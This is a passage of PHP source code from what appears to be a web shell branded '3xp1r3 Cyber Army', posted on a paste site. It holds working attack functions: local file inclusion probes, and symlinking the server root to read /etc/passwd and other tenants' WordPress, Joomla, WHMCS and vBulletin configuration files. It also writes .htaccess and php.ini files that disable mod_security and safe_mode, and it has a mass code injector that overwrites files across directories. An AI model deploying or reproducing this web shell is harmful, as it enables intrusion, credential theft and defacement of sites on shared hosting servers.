  2759. $res3 = FetchURL($target.$lfiphpini[$x]);
  2760. $rhash3 = md5($res3);
  2761. if ($rhash3 != $rhash2) {
  2762. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
  2763. }
  2764. else {
  2765. print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
  2766. }
  2767. $x++;
  2768. }
  2769. }
  2770. }
  2771. if ( $type == 5 ) {
  2772. $res1 = FetchURL($target.$lfitest);
  2773. $res2 = FetchURL($target.$lfitest2);
  2774. $rhash1 = md5($res1);
  2775. $rhash2 = md5($res2);
  2776. if ($rhash1 != $rhash2) {
  2777. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  2778. while($lfimysql[$x]) {
  2779. $res3 = FetchURL($target.$lfimysql[$x]);
  2780. $rhash3 = md5($res3);
  2781. if ($rhash3 != $rhash2) {
  2782. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
  2783. }
  2784. else {
  2785. print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
  2786. }
  2787. $x++;
  2788. }
  2789. }
  2790. }
  2791. if ( $type == 6 ) {
  2792. $res1 = FetchURL($target.$lfitest);
  2793. $res2 = FetchURL($target.$lfitest2);
  2794. $rhash1 = md5($res1);
  2795. $rhash2 = md5($res2);
  2796. if ($rhash1 != $rhash2) {
  2797. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  2798. while($lfiftp[$x]) {
  2799. $res3 = FetchURL($target.$lfiftp[$x]);
  2800. $rhash3 = md5($res3);
  2801. if ($rhash3 != $rhash2) {
  2802. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
  2803. }
  2804. else {
  2805. print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
  2806. }
  2807. $x++;
  2808. }
  2809. }
  2810. }
  2811. if ( $type == 7 ) {
  2812. $res1 = FetchURL($target.$lfitest);
  2813. $res2 = FetchURL($target.$lfitest2);
  2814. $rhash1 = md5($res1);
  2815. $rhash2 = md5($res2);
  2816. if ($rhash1 != $rhash2) {
  2817. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
  2818. $res3 = FetchURL($target.$lfiprocenv);
  2819. $rhash3 = md5($res3);
  2820. if ($rhash3 != $rhash2) {
  2821. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
  2822. }
  2823. else {
  2824. print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
  2825. }
  2826. }
  2827. }
  2828. }
  2829. }
  2830. printFooter();
  2831. }
  2832.  
  2833. function actionSymlink() {
  2834. printHeader();
  2835. echo '<h1>Symlink</h1>';
  2836. $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  2837. $expld = explode('/',$furl );
  2838. $burl =str_replace(end($expld),'',$furl);
  2839.  
  2840. echo '<div class="content"><center>
  2841. <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
  2842. [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink<sup style="color:red;text-decoration:blink;"></sup></a> ] -
  2843. [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>';
  2844.  
  2845. if(isset($_POST['p1']) && $_POST['p1']=='website')
  2846. {
  2847. echo "<center>";
  2848. $d0mains = @file("/etc/named.conf");
  2849. if(!$d0mains){
  2850. echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  2851. } else {
  2852. echo "<table align=center class='main' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
  2853.  
  2854. $unk = array();
  2855. foreach($d0mains as $d0main){
  2856. if(@eregi("zone",$d0main)){
  2857. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2858. flush();
  2859. if(strlen(trim($domains[1][0])) > 2){
  2860. $unk[] = $domains[1][0];
  2861. flush();
  2862.  
  2863. }
  2864. }
  2865. }
  2866. $count=1;
  2867. $unk = array_unique($unk);
  2868. $l=0;
  2869. foreach($unk as $d){
  2870. $user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
  2871. echo "<tr".($l?' class=l1':'')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user['name']."</td></tr>";
  2872. flush();
  2873. $count++;
  2874. $l=$l?0:1;
  2875. }
  2876. echo "</table>";
  2877. }
  2878. echo "</center>";
  2879. }
  2880.  
  2881. if(isset($_POST['p1']) && $_POST['p1']=='whole')
  2882. {
  2883. echo "<center>";
  2884. @mkdir('PCD_sym',0777);
  2885. $hdt = "Options all\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nRequire None\nSatisfy Any";
  2886. $hfp =@fopen ('PCD_sym/.htaccess','w');
  2887. fwrite($hfp ,$hdt);
  2888. if(function_exists('symlink')) {
  2889. @symlink('/','PCD_sym/root');
  2890. }
  2891. $d0mains = @file('/etc/named.conf');
  2892. if(!$d0mains) {
  2893. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  2894. echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
  2895. $dt = file('/etc/passwd');
  2896. $l=0;
  2897. foreach($dt as $d) {
  2898. $r = explode(':',$d);
  2899. if(strpos($r[5],'home')) {
  2900. echo "<tr".($l?' class=l1':'')."><td>".$j."</td><td>---</td><td>".$r[0]."</td><td><a href='PCD_sym/root".$r[5]."/public_html' target='_blank'>symlink</a></td></tr>";
  2901. $l=$l?0:1;
  2902. $j++;
  2903. }
  2904. }
  2905. echo '</table>';
  2906. } else {
  2907. echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
  2908. $count=1;
  2909. $mck = array();
  2910. foreach($d0mains as $d0main){
  2911. if(@eregi('zone',$d0main)){
  2912. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  2913. flush();
  2914. if(strlen(trim($domain[1][0])) >2){
  2915. $mck[] = $domain[1][0];
  2916. }
  2917. }
  2918. }
  2919. $mck = array_unique($mck);
  2920. $usr = array();
  2921. $dmn = array();
  2922. foreach($mck as $o) {
  2923. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  2924. $usr[] = $infos['name'];
  2925. $dmn[] = $o;
  2926. }
  2927. array_multisort($usr,$dmn);
  2928. $dt = file('/etc/passwd');
  2929. $passwd = array();
  2930. foreach($dt as $d) {
  2931. $r = explode(':',$d);
  2932. if(strpos($r[5],'home')) {
  2933. $passwd[$r[0]] = $r[5];
  2934. }
  2935. }
  2936. $l=0;
  2937. $j=1;
  2938. foreach($usr as $r) {
  2939. echo "<tr".($l?' class=l1':'')."><td>".$count++."</td>
  2940. <td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td>
  2941. <td>'.$r."</td>
  2942. <td><a href='PCD_sym/root".$passwd[$r]."/public_html' target='_blank'>symlink</a></td></tr>";
  2943. flush();
  2944. $l=$l?0:1;
  2945. $j++;
  2946. }
  2947. echo '</table>';
  2948. }
  2949. echo "</center>";
  2950. }
  2951.  
  2952. if(isset($_POST['p1']) && $_POST['p1']=='config')
  2953. {
  2954. echo "<center>";
  2955. @mkdir('PCD_sym',0777);
  2956. $hdt = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  2957. $hfp = @fopen ('PCD_sym/.htaccess','w');
  2958. @fwrite($hfp ,$hdt);
  2959. if(function_exists('symlink')) {
  2960. @symlink('/','PCD_sym/root');
  2961. }
  2962. $d0mains = @file('/etc/named.conf');
  2963. if(!$d0mains) {
  2964. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  2965. } else {
  2966. echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domain </th<th> User </th>><th> Script </th></tr>";
  2967. $count = 1;
  2968. $l=0;
  2969. foreach($d0mains as $d0main){
  2970. if(@eregi('zone',$d0main)){
  2971. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  2972. flush();
  2973. if(strlen(trim($domain[1][0]))>2){
  2974. $user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
  2975.  
  2976. $c1 = $burl.'/PCD_sym/root/home/'.$user['name'].'/public_html/wp-config.php';
  2977. $ch01 = get_headers($c1);
  2978. $cf01 = $ch01[0];
  2979. $c2 = $burl.'/PCD_sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
  2980. $ch02 = get_headers($c2);
  2981. $cf02 = $ch02[0];
  2982. $c3 = $burl.'/PCD_sym/root/home/'.$user['name'].'/public_html/configuration.php';
  2983. $ch03 = get_headers($c3);
  2984. $cf03 = $ch03[0];
  2985. $c4 = $burl.'/PCD_sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
  2986. $ch04 = get_headers($c4);
  2987. $cf04 = $ch04[0];
  2988. $c5 = $burl.'/PCD_sym/root/home/'.$user['name'].'/public_html/includes/config.php';
  2989. $ch05 = get_headers($c5);
  2990. $cf05 = $ch05[0];
  2991. $c6 = $burl.'/PCD_sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
  2992. $ch06 = get_headers($c6);
  2993. $cf06 = $ch06[0];
  2994. $c7 = $burl.'/PCD_sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
  2995. $ch07 = get_headers($c7);
  2996. $cf07 = $ch07[0];
  2997. $c8 = $burl.'/PCD_sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
  2998. $ch08 = get_headers($c8);
  2999. $cf08 = $ch08[0];
  3000. $c9 = $burl.'/PCD_sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
  3001. $ch09 = get_headers($c9);
  3002. $cf09 = $ch09[0];
  3003. $c10 = $burl.'/PCD_sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
  3004. $ch10 = get_headers($c10);
  3005. $cf10 = $ch10[0];
  3006. $c11 = $burl.'/PCD_sym/root/home/'.$user['name'].'/public_html/submitticket.php';
  3007. $ch11 = get_headers($c11);
  3008. $cf11 = $ch11[0];
  3009. $c12 = $burl.'/PCD_sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
  3010. $ch12 = get_headers($c12);
  3011. $cf12 = $ch12[0];
  3012. $c13 = $burl.'/PCD_sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
  3013. $ch13 = get_headers($c13);
  3014. $cf13 = $ch13[0];
  3015. $c14 = $burl.'/PCD_sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
  3016. $ch14 = get_headers($c14);
  3017. $cf14 = $ch14[0];
  3018. $c15 = $burl.'/PCD_sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
  3019. $ch15 = get_headers($c15);
  3020. $cf15 = $ch15[0];
  3021.  
  3022. $out = '&nbsp;';
  3023. if(strpos($cf01,'200') == true) { $out = "<a href='".$c1."' target='_blank'>Wordpress</a>"; }
  3024. elseif(strpos($cf02,'200') == true) { $out = "<a href='".$c2."' target='_blank'>Wordpress</a>"; }
  3025. elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { $out = " <a href='".$c11."' target='_blank'>WHMCS</a>"; }
  3026. elseif(strpos($cf09,'200') == true) { $out = " <a href='".$c9."' target='_blank'>WHMCS</a>"; }
  3027. elseif(strpos($cf10,'200') == true) { $out = " <a href='".$c10."' target='_blank'>WHMCS</a>"; }
  3028. elseif(strpos($cf03,'200') == true) { $out = " <a href='".$c3."' target='_blank'>Joomla</a>"; }
  3029. elseif(strpos($cf04,'200') == true) { $out = " <a href='".$c4."' target='_blank'>Joomla</a>"; }
  3030. elseif(strpos($cf05,'200') == true) { $out = " <a href='".$c5."' target='_blank'>vBulletin</a>"; }
  3031. elseif(strpos($cf06,'200') == true) { $out = " <a href='".$c6."' target='_blank'>vBulletin</a>"; }
  3032. elseif(strpos($cf07,'200') == true) { $out = " <a href='".$c7."' target='_blank'>vBulletin</a>"; }
  3033. elseif(strpos($cf08,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
  3034. elseif(strpos($cf12,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
  3035. elseif(strpos($cf13,'200') == true) { $out = " <a href='".$c7."' target='_blank'>osCommerce/Zen Cart</a>"; }
  3036. elseif(strpos($cf14,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Magento</a>"; }
  3037. elseif(strpos($cf15,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Drupal</a>"; }
  3038. else {
  3039. continue;
  3040. }
  3041. echo '<tr'.($l?' class=l1':'').'><td>'.$count++.'</td><td><a href=http://www.'.$domain[1][0].'/>'.$domain[1][0].'</a></td><td>'.$user['name'].'</td><td>'.$out.'</td></tr>';
  3042. flush();
  3043. $l=$l?0:1;
  3044. }
  3045. }
  3046. }
  3047. echo "</table>";
  3048. }
  3049. echo "</center>";
  3050. }
  3051. echo "</div>";
  3052. printFooter();
  3053. }
  3054.  
  3055. function actionBypass() {
  3056. printHeader();
  3057. echo '<h1>Safe Mode</h1>';
  3058. echo '<div class="content">';
  3059. echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
  3060. echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
  3061. if(!empty($_POST['p2']) && isset($_POST['p2']))
  3062. {
  3063. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  3064. fwrite($fil,'<IfModule mod_security.c>
  3065. Sec------Engine Off
  3066. Sec------ScanPOST Off
  3067. </IfModule>');
  3068. fclose($fil);
  3069. }
  3070. if(!empty($_POST['p1'])&& isset($_POST['p1']))
  3071. {
  3072. $fil=fopen($GLOBALS['cwd']."php.ini","w");
  3073. fwrite($fil,'safe_mode=OFF
  3074. disable_functions=NONE');
  3075. fclose($fil);
  3076. }
  3077. if(!empty($_POST['p3']) && isset($_POST['p3']))
  3078. {
  3079. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  3080. fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
  3081. AddType application/x-httpd-cgi .sh
  3082. AddHandler cgi-script .pl
  3083. AddHandler cgi-script .pl');
  3084. fclose($fil);
  3085. }
  3086. echo "<br><br /><br /></div>";
  3087. echo '</div>';
  3088. printFooter();
  3089. }
  3090.  
  3091. function actionDdos(){
  3092. printHeader();
  3093. echo '<h1>DDoS</h1>';
  3094. echo '<div class="content">';
  3095. echo "<div class=header><center><h3><span>Premium Features!!!</span></h3>Will come in next version.<br><br />";
  3096. echo "<br><br /><br /></div>";
  3097. echo '</div>';
  3098. printFooter();
  3099. }
  3100.  
  3101. function actionMail(){
  3102. printHeader();
  3103. echo '<h1>Mass Mailer and Mail Bomber</h1>';
  3104. echo '<div class="content">';
  3105. echo "<div class=header><center><h3><span>Premium Features!!!</span></h3>Will come in next version.<br><br />";
  3106. echo "<br><br /><br /></div>";
  3107. echo '</div>';
  3108. printFooter();
  3109. }
  3110.  
  3111. function actionInjector(){
  3112. printHeader();
  3113. echo '<h1>Mass Code Injector</h1>';
  3114. echo '<div class="content">';
  3115.  
  3116. if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
  3117. function get_structure($path,$depth) {
  3118. global $DS;
  3119. $res = array();
  3120. if(in_array(0, $depth)) { $res[] = $path; }
  3121. if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
  3122. $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
  3123. if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
  3124. }
  3125. if(in_array(2, $depth) or in_array(3, $depth)) {
  3126. $tmp2 = array();
  3127. foreach($tmp1 as $t){
  3128. $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
  3129. $tmp2 = array_merge($tmp2, $tp2);
  3130. }
  3131. if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
  3132. }
  3133. if(in_array(3, $depth)) {
  3134. $tmp3 = array();
  3135. foreach($tmp2 as $t){
  3136. $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
  3137. $tmp3 = array_merge($tmp3, $tp3);
  3138. }
  3139. $res = array_merge($res,$tmp3);
  3140. }
  3141. return $res;
  3142. }
  3143.  
  3144. if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
  3145. $name = $_POST['name'] ? $_POST['name'] : '*';
  3146. $type = $_POST['type'] ? $_POST['type'] : 'html';
  3147. $path = $_POST['path'] ? $_POST['path'] : getcwd();
  3148. $code = $_POST['code'] ? $_POST['code'] : '3xp1r3 Cyber Army';
  3149. $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
  3150. $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
  3151. $dt = get_structure($path,$depth);
  3152. foreach ($dt as $d) {
  3153. if($mode == 'a') {
  3154. if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
  3155. echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#a3e956;"> was injected</span></div>';
  3156. } else {
  3157. echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
  3158. }
  3159. } else {
  3160. if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
  3161. echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#a3e956;"> was injected</span></div>';
  3162. } else {
  3163. echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
  3164. }
  3165. }
  3166. }
  3167. } else {
  3168. echo '<form method="post" action="">
  3169. <table align="center">
  3170. <tr>
  3171. <td>Directory : </td>
  3172. <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
  3173. </tr>
  3174. <tr>
  3175. <td class="title">Mode : </td>
  3176. <td>
  3177. <select style="width: 100px;" name="mode" class="box">
  3178. <option value="a">Apender</option>
  3179. <option value="w">Overwriter</option>
  3180. </select>
  3181. </td>
  3182. </tr>
  3183. <tr>
  3184. <td class="title">File Name & Type : </td>
  3185. <td>
  3186. <input type="text" style="width: 100px;" name="name" value="*"/>&nbsp;&nbsp;
  3187. <select style="width: 100px;" name="type" class="box">
  3188. <option value="html">HTML</option>
  3189. <option value="htm">HTM</option>
  3190. <option value="php" selected="selected">PHP</option>
  3191. <option value="asp">ASP</option>
  3192. <option value="aspx">ASPX</option>
  3193. <option value="xml">XML</option>
  3194. <option value="txt">TXT</option>
  3195. </select></td>
  3196. </tr>
  3197. <tr>
  3198. <td class="title">Code Inject Depth : </td>
  3199. <td>
  3200. <input type="checkbox" name="depth[]" value="0" checked="checked"/>&nbsp;0&nbsp;&nbsp;
  3201. <input type="checkbox" name="depth[]" value="1"/>&nbsp;1&nbsp;&nbsp;
  3202. <input type="checkbox" name="depth[]" value="2"/>&nbsp;2&nbsp;&nbsp;
  3203. <input type="checkbox" name="depth[]" value="3"/>&nbsp;3
  3204. </td>
  3205. </tr>
  3206. <tr>
  3207. <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
  3208. </tr>
  3209. <tr>
  3210. <td colspan="2" style="text-align: center;">
  3211. <input type="hidden" name="a" value="Injector">
  3212. <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
  3213. <input type="hidden" name="p1">
  3214. <input type="hidden" name="p2">
  3215. <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  3216. <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
  3217. </tr>
  3218. </table>
  3219. </form>';
  3220. }
  3221. echo '</div>';
  3222. printFooter();
  3223. }
  3224.  
  3225. if( empty($_POST['a']) )
  3226. if(isset($default_action) && function_exists('action' . $default_action))
  3227. $_POST['a'] = $default_action;
  3228. else
  3229. $_POST['a'] = 'SecInfo';
  3230. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  3231. call_user_func('action' . $_POST['a'])
  3232. ?>
Add Comment
Please, Sign In to add comment